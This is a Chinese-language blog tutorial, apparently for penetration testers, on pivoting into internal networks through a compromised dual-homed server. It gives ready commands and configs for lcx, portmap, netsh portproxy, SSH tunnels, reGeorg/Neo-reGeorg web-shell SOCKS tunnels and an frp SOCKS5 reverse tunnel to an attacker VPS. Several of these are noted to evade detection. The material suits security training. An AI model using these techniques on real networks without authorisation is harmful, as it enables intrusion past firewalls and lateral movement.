返回
Featured image of post 内网代理转发

内网代理转发

go!

内网代理转发

假如有这样的环境:

外网服务器存在双网卡,内网服务器不可访问公网但可以直接和外网服务器进行通信。基于这个场景,攻击者以外网服务器作为跳板,对内网服务器进行继续渗透。

端口转发类

Lcx

本地端口转发

防火墙等访问控制策略:不允许公网直接访问3389端口,此时可以尝试 lcx 的本地转发功能将其转发到其他端口。

  • 先上传 lcx.exe 至外网服务器,执行如下
lcx.exe -tran 8888 127.0.0.1 3389

# 将本地8888端口流量转发到本地3389端口
# 攻击者直接连接外网服务器8888端口

正向端口转发

拿下外网服务器权限和内网服务器账号密码,尝试直接访问内网的3389端口。

  • 外网服务器执行
lcx.exe -tran 8888 192.168.77.2 3389

# 将本地8888端口流量转发到内网机器3389端口
# 攻击者直接连接外网服务器8888端口

反向端口转发

拿下外网服务器和内网服务器的权限,并知道内网服务器账号密码。攻击者想要连接内网服务器的3389服务,但是防火墙规则,不允许外网服务器直接访问它。

可尝试在内网机器上将内网端口主动转发到外网服务器,随后攻击者连接外网服务器即可。

  • 外网服务器监听在7777端口,并本地转发到8888端口
lcx.exe -listen 7777 8888
  • 内网服务器主动反向连接外网服务器7777端口,并转发本地的3389端口流量
lcx.exe -slave 192.168.77.1 7777 127.0.0.1 3389
  • 攻击者连接外网服务器8888端口即可

Linux 下的Lcx

portmap就是Linux下的lcx,需要手动上传 c 文件,并进行编译使用。

  • 将流量正向转发到外网服务器的3389端口
./portmap -m l -p1 8888 -h2 192.168.77.2 -p2 3389

Netsh

Netsh 是 Windows 自带的命令行脚本工具,它可以建立端口映射。与 Lcx 不同,netsh 不支持反向的端口转发。

本地端口转发

netsh interface portproxy add v4tov4 listenport=8888 connectaddress=192.168.77.1 connectport=3389 
# 删除策略
netsh interface portproxy delete v4tov4 listenport=8888

正向端口转发

Netshinterface portproxy add v4tov4 listenaddress=192.168.77.1 8888 connectaddress=192.168.77.2 connectport=3389
# 删除策略
Netsh interface portproxy delete v4tov4 listenport=8888 listenaddress=192.168.77.1

SSH

本地端口转发

在本地主机 Host A 上开启端口流量转发

# 本地执行
ssh -L 8866:192.168.10.3:23 -fN username@192.168.10.2

远程端口转发

在远程主机 Host B 上开启端口流量转发

# 在HostB上执行
ssh -R 8866:192.168.10.3:23 -fN username@192.168.10.1

SOCKS 代理类

reGeorg

reGeorg是一款把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP通信的工具。

  • 上传 tunnerl 文件
  • 攻击机运行:
python reGeorgSocksProxy.py -p 8080 -u http://ip:port/tunnel/tunnel.jsp
  • 使用其他渗透工具时配置 socks 代理为本地8080端口即可 或者 使用Proxifier配置全局代理(Windows)、proxychains(Linux)

注意:Socks协议通过TCP协议进行数据传输,因而不提供如传递 ICMP 信息之类的网络层相关服务,ping测试会发现不通。

Neo-reGeorg

reGeorg稳定性不太好,且容易被杀,Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目。

  • 提高 tunnel 连接安全性
  • 提高可用性,避免特征检测
  • 提高传输内容保密性
  • 应对更多的网络环境场景

基本使用:

  • 设置密码生成 tunnel并上传到WEB服务器
python neoreg.py generate -k password
  • 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
python neoreg.py -k password -u http://xx/tunnel.php

frp

frp 采用 Golang 编写,支持跨平台,仅需下载对应平台的二进制文件即可执行。

  • 服务端启动(在自己 VPS上 )
./frps -c ./frps.ini
[common]
bind_port = 7000
Bind_addr = 0.0.0.0
dashboard_port = 7500 # 仪表盘端口
dashboard_user = admin # 仪表盘账号与密码
dashboard_pwd = passadmin
  • 客户端启动(在获取到权限的跳板服务器上)
./frpc -c ./frpc.ini
[common]
server_addr = # VPS 地址
server_port = 7000

[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = admin
plugin_passwd = admin123
use_encryption = true
use_compression = true
Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy